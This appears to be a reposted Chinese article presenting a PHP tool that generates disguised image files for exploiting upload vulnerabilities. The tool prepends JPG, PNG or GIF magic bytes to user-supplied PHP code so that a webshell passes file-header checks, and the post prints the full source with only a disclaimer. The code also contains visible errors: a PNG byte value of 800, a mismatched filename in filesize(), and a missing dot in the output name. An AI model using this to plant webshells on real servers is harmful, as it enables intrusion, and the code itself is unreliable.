关于上传漏洞绕过文件头校验的利用工具
2022-9-13 00:2:7 Author: web安全工具库(查看原文) 阅读量:33 收藏

项目作者:youyou-pm10

项目地址:https://github.com/youyou-pm10/upload-exp

0x01 工具介绍

本脚本用于bypass文件头校验,支持jpg|png|gif格式文件。

0x02 安装与使用

在环境的地址栏输入type参数,填入你想要的类型,再输入cmd参数,填入你想要的php代码,允许不输入cmd,默认采用phpinfo,以便探测图片马能否正常使用。type和cmd都可以用get/post方式传入。

例如:
?type=jpg
回显:
创建成功!文件内容:
 ÿØ<?php phpinfo();?>

0x03 源码文件

<!DOCTYPE html><head>    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />    <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=0.5, maximum-scale=2.0, user-scalable=yes" /></head></html><?php$cmd = '<?php phpinfo();?>';// 读取输入的命令if(!empty($_REQUEST['cmd'])){    $cmd=$_REQUEST['cmd'];}// 输入产生文件的类型function makeTrick($typeCode){    switch($typeCode){        case 'jpg':            $fileType = Array(255,216);            break;        case 'png':            $fileType = Array(137,800);            break;        case 'gif':            $fileType = Array(71,73);            break;        default:            $fileType = Null;    }    return $fileType;}function load($fileType,$cmd, $ext){    // 读取输入的文件类型    if(!empty($fileType)) {        $data = pack('C2', $fileType[0], $fileType[1]);        $file = fopen('profile'.$ext, "wb");        // 写入文件头        $bin = fwrite($file, $data);        // 写入命令        $bin2 = fwrite($file, $cmd);        fclose($file);        $file = fopen('profile'.$ext, "r");        echo '创建成功!文件内容:</br>';        echo htmlentities(fread($file, filesize('tmp_pack.txt')));        fclose($file);    }}if(!empty($_REQUEST['type'])) {    $ext = $_REQUEST['type'];    $fileType = makeTrick($ext);    load($fileType, $cmd, $ext);}else{    echo '请用get方式输入type参数和cmd参数(可选,默认phpinfo)';}

0x04 声明

仅供安全研究与学习之用,若将工具做其他用途,由使用者承担全部法律及连带责任,作者不承担任何法律及连带责任。

      

文章来源: http://mp.weixin.qq.com/s?__biz=MzI4MDQ5MjY1Mg==&mid=2247504405&idx=2&sn=bfb02199b00ba7ea335d0d26e580b833&chksm=ebb53d16dcc2b4000ffa425cee57addf0a139fbc55299fc0eb6935c5c815a8a7708644053536#rd
如有侵权请联系:admin#unsafe.sh